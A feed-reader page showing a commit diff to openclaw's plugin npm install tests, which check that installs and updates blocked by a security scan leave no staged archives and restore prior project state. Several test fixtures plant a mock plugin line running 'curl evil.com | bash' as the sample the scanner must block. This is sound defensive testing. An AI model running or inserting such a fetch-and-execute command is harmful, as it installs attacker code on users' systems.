惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Engineering at Meta
Engineering at Meta
T
Threatpost
P
Palo Alto Networks Blog
NISL@THU
NISL@THU
O
OpenAI News
Project Zero
Project Zero
G
GRAHAM CLULEY
P
Privacy International News Feed
A
Arctic Wolf
Microsoft Azure Blog
Microsoft Azure Blog
H
Help Net Security
M
MIT News - Artificial intelligence
T
Threat Research - Cisco Blogs
S
Security @ Cisco Blogs
Google DeepMind News
Google DeepMind News
B
Blog RSS Feed
D
Docker
aimingoo的专栏
aimingoo的专栏
博客园 - 【当耐特】
N
Netflix TechBlog - Medium
云风的 BLOG
云风的 BLOG
雷峰网
雷峰网
W
WeLiveSecurity
P
Proofpoint News Feed
腾讯CDC
Cloudbric
Cloudbric
S
Secure Thoughts
C
Check Point Blog
博客园 - Franky
T
The Exploit Database - CXSecurity.com
T
Troy Hunt's Blog
GbyAI
GbyAI
Security Archives - TechRepublic
Security Archives - TechRepublic
Application and Cybersecurity Blog
Application and Cybersecurity Blog
月光博客
月光博客
C
Cyber Attacks, Cyber Crime and Cyber Security
I
Intezer
TaoSecurity Blog
TaoSecurity Blog
L
Lohrmann on Cybersecurity
V
Visual Studio Blog
F
Fortinet All Blogs
博客园 - 叶小钗
C
CXSECURITY Database RSS Feed - CXSecurity.com
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Recorded Future
Recorded Future
C
Cisco Blogs
博客园 - 司徒正美
Stack Overflow Blog
Stack Overflow Blog
Y
Y Combinator Blog
Apple Machine Learning Research
Apple Machine Learning Research

Recent Commits to openclaw:main

test: merge chat side-result checks · openclaw/openclaw@ddd2c2a test: merge cron history checks · openclaw/openclaw@f7eb746 test: merge responsive navigation shell checks · openclaw/openclaw@c2e4b47 docs(changelog): add codex oauth fixes · openclaw/openclaw@628e6cd test: merge navigation routing cases · openclaw/openclaw@5d8cecb Tests: mock channel registry bundled fallback · openclaw/openclaw@2b08233 Secrets: avoid broad web search discovery for single plugin config · openclaw/openclaw@a464f59 test: merge config view browser checks · openclaw/openclaw@20cf511 fix(status): align oauth health with runtime · openclaw/openclaw@eed7116 feat: add macOS screen snapshots for monitor preview (#67954) thanks … · openclaw/openclaw@f377db1 fix: report shared auth scopes in hello-ok (#67810) thanks @BunsDev · openclaw/openclaw@0b6c39b Auto-reply: avoid eager bundled route fallback · openclaw/openclaw@3ea1bf4 Tests: narrow session binding contract setup · openclaw/openclaw@54e4e16 fix(macOS): enable undo/redo in webchat composer text input (#34962) · openclaw/openclaw@00951dc Tests: speed up channel setup promotion · openclaw/openclaw@82b529a Docs: refresh agent instructions · openclaw/openclaw@5775fe2 fix(auth): serialize OAuth refresh across agents to fix #26322 (#67876) · openclaw/openclaw@8e79080 test: allow ollama public surface boundary test · openclaw/openclaw@7d4f1a6 Docs: add test performance guardrails · openclaw/openclaw@89706d3 Tests: restore context-engine usage proof · openclaw/openclaw@e4c4f95 Tests: slim context engine runtime coverage · openclaw/openclaw@74c198f ci: retry failed custom checkouts · openclaw/openclaw@0ee5baf test: trim duplicate provider auth onboarding cases · openclaw/openclaw@1ffc02e matrix: fix sessions_spawn --thread subagent session spawning (#67643) · openclaw/openclaw@1ce2596 test: reduce auth choice fixture churn · openclaw/openclaw@857b9cd test: mock health status config boundaries · openclaw/openclaw@9d5ab4a test: mock onboard config io boundary · openclaw/openclaw@299694d test: mock legacy state plugin boundaries · openclaw/openclaw@2713089 test: mock channel install boundaries · openclaw/openclaw@b945248 test: mock doctor preview channel boundaries · openclaw/openclaw@b1a3ad4 test: trim doctor command hotspots · openclaw/openclaw@c66f16a test: isolate agent auth and spawn hotspots · openclaw/openclaw@9285935 test: stabilize MCP startup disposal race · openclaw/openclaw@dd9d2eb test: merge browser contract server suites · openclaw/openclaw@5817a76 test: narrow ollama provider discovery setup · openclaw/openclaw@a0d9598 build: declare qa-lab aimock runtime dependency · openclaw/openclaw@24431e5 test: speed up safe-bins exec harness · openclaw/openclaw@ee856ab test: preserve tool helpers in embedded runner mocks · openclaw/openclaw@acd86a0 refactor: move memory embeddings into provider plugins · openclaw/openclaw@77e6e4c test: reuse system-run temp fixtures · openclaw/openclaw@7e9ff0f test: trim hotspot wait overhead · openclaw/openclaw@12a59b0 Check: avoid duplicate boundary prep · openclaw/openclaw@baf11b8 test: reduce hotspot fixture overhead · openclaw/openclaw@3a59edd feat(ui): overhaul settings and slash command UX (#67819) thanks @Bun… · openclaw/openclaw@2cfb660 QA Matrix: exit cleanly on failure · openclaw/openclaw@42805d2 QA Matrix: isolate scenario coverage · openclaw/openclaw@7e659e1 Matrix: refresh crypto bootstrap state · openclaw/openclaw@94081d8 QA Lab: add provider registry · openclaw/openclaw@bb7e982 Matrix: add plugin changelog · openclaw/openclaw@4acab55 test: trim more hotspot overhead · openclaw/openclaw@f485311 test: trim remaining hotspot tests · openclaw/openclaw@6ba8626 test: narrow hotspot mocks · openclaw/openclaw@dbc8179 test: isolate gemini embedding request helpers · openclaw/openclaw@cd330f5 test: trim memory and mcp hotspots · openclaw/openclaw@fd48dfa test: slim provider registry mocks · openclaw/openclaw@2e08c77 test: harden Parallels update smoke · openclaw/openclaw@1a98090 feat: default Anthropic to Opus 4.7 · openclaw/openclaw@628b454 fix: harden node-host shell payload mutability checks · openclaw/openclaw@75c551e fix: land node-host approval binding for native binaries (#66731) (th… · openclaw/openclaw@29919bb CI: add daily schedule to CodeQL workflow (#67645) · openclaw/openclaw@69d25f5 fix(gateway): capture config hash after plugin auto-enable to prevent… · openclaw/openclaw@8c11210 fix: repair sanitized replay tool results before send (#67620) (thank… · openclaw/openclaw@c3c7a99 fix: restrict HTML timeout short-circuit to transient statuses · openclaw/openclaw@de129a6 fix: keep TUI watchdog bound to active run (#67401) (thanks @xantorres) · openclaw/openclaw@3525273 Gateway/skills: dedupe skills prefix-match + drop dead fallback on log · openclaw/openclaw@d7f489f Extensions/lmstudio: back off inference preload after consecutive fai… · openclaw/openclaw@b555214 TUI/streaming: add watchdog that resets the activity indicator after … · openclaw/openclaw@f44ab20 Agents/tool-loop: enable unknown-tool stream guard by default · openclaw/openclaw@36ed367 Gateway/skills: invalidate session skills snapshot on config write · openclaw/openclaw@b23d59a fix: classify HTML provider error pages correctly (#67642) (thanks @s… · openclaw/openclaw@e588e90 fix(skills): remove unused model-usage import (#67641) · openclaw/openclaw@55f05df docs(changelog): credit codex fix superseded PRs · openclaw/openclaw@e485f24 fix(openai-codex): normalize stale transport metadata in resolution a… · openclaw/openclaw@90801ba CI: pin Docker-related GitHub Actions (#67632) · openclaw/openclaw@f697b01 Android: modernize WebView and discovery API usage (#67627) · openclaw/openclaw@44a6e50 fix(deps): bump hono to 4.12.14 and @hono/node-server to 1.19.14 (GHS… · openclaw/openclaw@fbccc18 fix(deps): bump dompurify to 3.4.0 (#67614) · openclaw/openclaw@2c2dc00 CI: add explicit permissions to all workflow jobs (fixes code-scannin… · openclaw/openclaw@01b7516 fix: register bundled TTS providers and route overrides correctly (#6… · openclaw/openclaw@6ea3cdd fix: align host tilde paths with OS home (#62804) (thanks @stainlu) · openclaw/openclaw@ecfaf64 fix: flush creds queue before reconnect socket open (#67464) (thanks … · openclaw/openclaw@405c63f fix: strip standalone <function> tool call tags from visible text (#6… · openclaw/openclaw@78df859 fix(agents): preserve cli session metadata before transcript persist … · openclaw/openclaw@898fd04 docs(changelog): move cli transcript entry · openclaw/openclaw@c1817c6 fix(agents): normalize cli transcript api field · openclaw/openclaw@3a3fae0 docs(changelog): note cli transcript persistence · openclaw/openclaw@6c343f1 fix(agents): persist cli transcript turns · openclaw/openclaw@b8ef507 fix(msteams): harden security-sensitive flows (#65841) · openclaw/openclaw@c56b56e [Dashboard] Fix exec approval modal overflow for long command content… · openclaw/openclaw@053c5b0 Docs: remove QA changelog entry · openclaw/openclaw@7fd5771 QA: fix private runtime source loading (#67428) · openclaw/openclaw@d5933af docs(gateway): correct protocol.md schema path, hello-ok example, aut… · openclaw/openclaw@489404d CI: pin Node 22 runners to 22.18.0 · openclaw/openclaw@4ffa621 models.authStatus: normalize provider ids + tighten env-backed escape… · openclaw/openclaw@f2fdb9d Update CHANGELOG.md · openclaw/openclaw@7694a92 test(parallels): clean up npm update guard jobs · openclaw/openclaw@045ea7b Plugins: prefer scanDir override paths · openclaw/openclaw@b2974da fix(dreaming): default storage.mode to "separate" so phase blocks sto… · openclaw/openclaw@8c392f0 fix(memory-core): skip dreaming transcript ingestion via session stor… · openclaw/openclaw@a1b01f0 fix: dedupe replayed exec.finished node events (#67281) · openclaw/openclaw@5dcf526
fix: preserve npm plugin root on blocked install (#77237) · openclaw/openclaw@fda5254
zhuisDEV · 2026-06-01 · via Recent Commits to openclaw:main

@@ -100,10 +100,17 @@ function isManagedNpmInstallCommand(argv: unknown): argv is string[] {

100100

return isNpmInstallCommand(argv) && !isNpmPeerPlannerInstallCommand(argv);

101101

}

102102103-

function expectNpmInstallIntoRoot(params: { calls: unknown[][]; npmRoot: string }) {

103+

function expectNpmInstallIntoRoot(params: {

104+

calls: unknown[][];

105+

npmRoot: string;

106+

expectedFreshnessBypass?: "before";

107+

}) {

104108

const installCalls = params.calls.filter((call) => isManagedNpmInstallCommand(call[0]));

105109

expect(installCalls).toHaveLength(1);

106-

expect((installCalls[0]?.[1] as { cwd?: unknown } | undefined)?.cwd).toBe(params.npmRoot);

110+

const installOptions = installCalls[0]?.[1] as

111+

| { cwd?: unknown; env?: Record<string, string | undefined> }

112+

| undefined;

113+

expect(installOptions?.cwd).toBe(params.npmRoot);

107114

expect(installCalls[0]?.[0]).toEqual([

108115

"npm",

109116

"install",

@@ -115,6 +122,10 @@ function expectNpmInstallIntoRoot(params: { calls: unknown[][]; npmRoot: string

115122

"--no-audit",

116123

"--no-fund",

117124

]);

125+

if (params.expectedFreshnessBypass === "before") {

126+

expect(installOptions?.env?.npm_config_before).toBeTruthy();

127+

expect(installOptions?.env?.npm_config_min_release_age).toBe("");

128+

}

118129

}

119130120131

function expectNpmInstallIntoProject(params: {

@@ -264,6 +275,21 @@ function writeNpmRootPackageLock(params: {

264275

);

265276

}

266277278+

function readTextFileTree(dir: string, rootDir = dir): Record<string, string> {

279+

return Object.fromEntries(

280+

fs.readdirSync(dir, { withFileTypes: true }).flatMap((entry) => {

281+

const entryPath = path.join(dir, entry.name);

282+

if (entry.isDirectory()) {

283+

return Object.entries(readTextFileTree(entryPath, rootDir));

284+

}

285+

if (!entry.isFile()) {

286+

return [];

287+

}

288+

return [[path.relative(rootDir, entryPath), fs.readFileSync(entryPath, "utf8")]];

289+

}),

290+

);

291+

}

292+267293

function prunePluginLocalOpenClawPeerLinks(npmRoot: string) {

268294

const nodeModulesDir = path.join(npmRoot, "node_modules");

269295

if (!fs.existsSync(nodeModulesDir)) {

@@ -681,6 +707,108 @@ describe("installPluginFromNpmSpec", () => {

681707

expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1);

682708

});

683709710+

it("rolls back staged npm pack archives when a forced update is blocked", async () => {

711+

const stateDir = suiteTempRootTracker.makeTempDir();

712+

const npmRoot = path.join(stateDir, "npm");

713+

const packageName = "@openclaw/pack-demo";

714+

const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz");

715+

const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");

716+

fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8");

717+

fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8");

718+719+

mockNpmViewAndInstallMany([

720+

{

721+

packageName,

722+

version: "1.0.0",

723+

pluginId: "pack-demo",

724+

npmRoot,

725+

integrity: "sha512-pack-demo-v1",

726+

shasum: "packdemoshav1",

727+

packArchivePath: archiveV1Path,

728+

indexJs: "export const ok = true;",

729+

},

730+

]);

731+732+

const safeInstall = await installPluginFromNpmPackArchive({

733+

archivePath: archiveV1Path,

734+

npmDir: npmRoot,

735+

logger: { info: () => {}, warn: () => {} },

736+

});

737+

expect(safeInstall.ok).toBe(true);

738+

const npmProjectRoot = resolvePluginNpmProjectDir({

739+

npmDir: npmRoot,

740+

packageName,

741+

});

742+

const projectBefore = readTextFileTree(npmProjectRoot);

743+744+

mockNpmViewAndInstallMany([

745+

{

746+

packageName,

747+

version: "2.0.0",

748+

pluginId: "pack-demo",

749+

npmRoot,

750+

integrity: "sha512-pack-demo-v2",

751+

shasum: "packdemoshav2",

752+

packArchivePath: archiveV2Path,

753+

indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,

754+

},

755+

]);

756+757+

const blockedUpdate = await installPluginFromNpmPackArchive({

758+

archivePath: archiveV2Path,

759+

npmDir: npmRoot,

760+

mode: "update",

761+

logger: { info: () => {}, warn: () => {} },

762+

});

763+764+

expect(blockedUpdate.ok).toBe(false);

765+

if (blockedUpdate.ok) {

766+

return;

767+

}

768+

expect(blockedUpdate.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);

769+

expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);

770+

});

771+772+

it("cleans staged npm pack archives when a fresh install is blocked", async () => {

773+

const stateDir = suiteTempRootTracker.makeTempDir();

774+

const npmRoot = path.join(stateDir, "npm");

775+

const packageName = "@openclaw/pack-demo";

776+

const archivePath = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");

777+

fs.writeFileSync(archivePath, "v2 pack contents", "utf8");

778+779+

mockNpmViewAndInstallMany([

780+

{

781+

packageName,

782+

version: "2.0.0",

783+

pluginId: "pack-demo",

784+

npmRoot,

785+

integrity: "sha512-pack-demo-v2",

786+

shasum: "packdemoshav2",

787+

packArchivePath: archivePath,

788+

indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,

789+

},

790+

]);

791+792+

const blockedInstall = await installPluginFromNpmPackArchive({

793+

archivePath,

794+

npmDir: npmRoot,

795+

logger: { info: () => {}, warn: () => {} },

796+

});

797+798+

expect(blockedInstall.ok).toBe(false);

799+

if (blockedInstall.ok) {

800+

return;

801+

}

802+

expect(blockedInstall.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);

803+

const npmProjectRoot = resolvePluginNpmProjectDir({

804+

npmDir: npmRoot,

805+

packageName,

806+

});

807+

expect(fs.existsSync(path.join(npmProjectRoot, "_openclaw-pack-archives"))).toBe(false);

808+

expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(false);

809+

expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false);

810+

});

811+684812

it("installs npm plugins into .openclaw/npm", async () => {

685813

const { calls, dependencyInstalled, npmRoot, result } = npmSpecInstallCase;

686814

@@ -975,10 +1103,7 @@ describe("installPluginFromNpmSpec", () => {

9751103

npmDir: npmRoot,

9761104

packageName: "@openclaw/codex",

9771105

});

978-

const managedManifest = JSON.parse(

979-

fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),

980-

) as { dependencies?: Record<string, string> };

981-

expect(managedManifest.dependencies?.["@openclaw/codex"]).toBeUndefined();

1106+

expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(false);

9821107

});

98311089841109

it("rejects exact npm plugins whose package compatibility requires a newer host", async () => {

@@ -1503,10 +1628,9 @@ describe("installPluginFromNpmSpec", () => {

15031628

if (!result.ok) {

15041629

expect(result.error).toContain("registry unavailable");

15051630

}

1506-

const manifest = JSON.parse(

1507-

await fs.promises.readFile(path.join(npmProjectRoot, "package.json"), "utf8"),

1508-

) as { dependencies?: Record<string, string> };

1509-

expect(manifest.dependencies).toEqual({});

1631+

await expect(

1632+

fs.promises.access(path.join(npmProjectRoot, "package.json")),

1633+

).rejects.toHaveProperty("code", "ENOENT");

15101634

await expect(

15111635

fs.promises.access(path.join(npmProjectRoot, "node_modules", "openclaw")),

15121636

).rejects.toHaveProperty("code", "ENOENT");

@@ -1622,10 +1746,138 @@ describe("installPluginFromNpmSpec", () => {

16221746

npmDir: npmRoot,

16231747

packageName: "dangerous-plugin",

16241748

});

1625-

const manifest = JSON.parse(

1626-

await fs.promises.readFile(path.join(npmProjectRoot, "package.json"), "utf8"),

1627-

) as { dependencies?: Record<string, string> };

1628-

expect(manifest.dependencies).toEqual({});

1749+

await expect(

1750+

fs.promises.access(path.join(npmProjectRoot, "package.json")),

1751+

).rejects.toHaveProperty("code", "ENOENT");

1752+

});

1753+1754+

it("leaves a stale legacy shared npm root untouched when a per-plugin update is blocked", async () => {

1755+

const stateDir = suiteTempRootTracker.makeTempDir();

1756+

const npmRoot = path.join(stateDir, "npm");

1757+

const legacyNodeModulesRoot = path.join(npmRoot, "node_modules");

1758+

const legacyPackageRoot = path.join(legacyNodeModulesRoot, "legacy-shared");

1759+

const npmProjectRoot = resolvePluginNpmProjectDir({

1760+

npmDir: npmRoot,

1761+

packageName: "dangerous-plugin",

1762+

});

1763+

fs.mkdirSync(legacyPackageRoot, { recursive: true });

1764+

fs.writeFileSync(

1765+

path.join(npmRoot, "package.json"),

1766+

`${JSON.stringify(

1767+

{

1768+

private: true,

1769+

dependencies: {

1770+

"legacy-shared": "1.0.0",

1771+

},

1772+

},

1773+

null,

1774+

2,

1775+

)}\n`,

1776+

"utf8",

1777+

);

1778+

fs.writeFileSync(

1779+

path.join(npmRoot, "package-lock.json"),

1780+

`${JSON.stringify(

1781+

{

1782+

lockfileVersion: 3,

1783+

packages: {

1784+

"": {

1785+

dependencies: {

1786+

"legacy-shared": "1.0.0",

1787+

},

1788+

},

1789+

"node_modules/legacy-shared": {

1790+

version: "1.0.0",

1791+

},

1792+

},

1793+

},

1794+

null,

1795+

2,

1796+

)}\n`,

1797+

"utf8",

1798+

);

1799+

fs.writeFileSync(

1800+

path.join(legacyPackageRoot, "package.json"),

1801+

`${JSON.stringify({ name: "legacy-shared", version: "1.0.0" }, null, 2)}\n`,

1802+

"utf8",

1803+

);

1804+

fs.writeFileSync(path.join(legacyPackageRoot, "marker.txt"), "legacy state\n", "utf8");

1805+1806+

fs.mkdirSync(npmProjectRoot, { recursive: true });

1807+

fs.writeFileSync(

1808+

path.join(npmProjectRoot, "package.json"),

1809+

`${JSON.stringify(

1810+

{

1811+

private: true,

1812+

dependencies: {

1813+

"dangerous-plugin": "1.0.0",

1814+

},

1815+

},

1816+

null,

1817+

2,

1818+

)}\n`,

1819+

"utf8",

1820+

);

1821+

writeNpmRootPackageLock({

1822+

npmRoot: npmProjectRoot,

1823+

dependencies: { "dangerous-plugin": "1.0.0" },

1824+

packages: [

1825+

{

1826+

packageName: "dangerous-plugin",

1827+

version: "1.0.0",

1828+

npmRoot: npmProjectRoot,

1829+

integrity: "sha512-safe-plugin",

1830+

},

1831+

],

1832+

});

1833+

writeInstalledNpmPlugin({

1834+

packageName: "dangerous-plugin",

1835+

version: "1.0.0",

1836+

pluginId: "dangerous-plugin",

1837+

npmRoot: npmProjectRoot,

1838+

indexJs: "export const ok = true;",

1839+

});

1840+

fs.writeFileSync(path.join(npmProjectRoot, "project-marker.txt"), "project state\n", "utf8");

1841+1842+

const legacyManifestBefore = fs.readFileSync(path.join(npmRoot, "package.json"), "utf8");

1843+

const legacyLockfileBefore = fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8");

1844+

const legacyNodeModulesBefore = readTextFileTree(legacyNodeModulesRoot);

1845+

const projectBefore = readTextFileTree(npmProjectRoot);

1846+1847+

mockNpmViewAndInstall({

1848+

spec: "dangerous-plugin@2.0.0",

1849+

packageName: "dangerous-plugin",

1850+

version: "2.0.0",

1851+

pluginId: "dangerous-plugin",

1852+

npmRoot,

1853+

expectedDependencySpec: "2.0.0",

1854+

indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,

1855+

});

1856+1857+

const result = await installPluginFromNpmSpec({

1858+

spec: "dangerous-plugin@2.0.0",

1859+

npmDir: npmRoot,

1860+

mode: "update",

1861+

logger: { info: () => {}, warn: () => {} },

1862+

});

1863+1864+

expect(result.ok).toBe(false);

1865+

if (result.ok) {

1866+

return;

1867+

}

1868+

expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);

1869+

expectNpmInstallIntoProject({

1870+

calls: runCommandWithTimeoutMock.mock.calls,

1871+

npmRoot,

1872+

packageName: "dangerous-plugin",

1873+

});

1874+

expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);

1875+

expect(fs.readFileSync(path.join(npmRoot, "package.json"), "utf8")).toBe(legacyManifestBefore);

1876+

expect(fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8")).toBe(

1877+

legacyLockfileBefore,

1878+

);

1879+

expect(readTextFileTree(legacyNodeModulesRoot)).toEqual(legacyNodeModulesBefore);

1880+

expect(fs.existsSync(path.join(legacyNodeModulesRoot, "dangerous-plugin"))).toBe(false);

16291881

});

1630188216311883

const officialLaunchPluginCases = [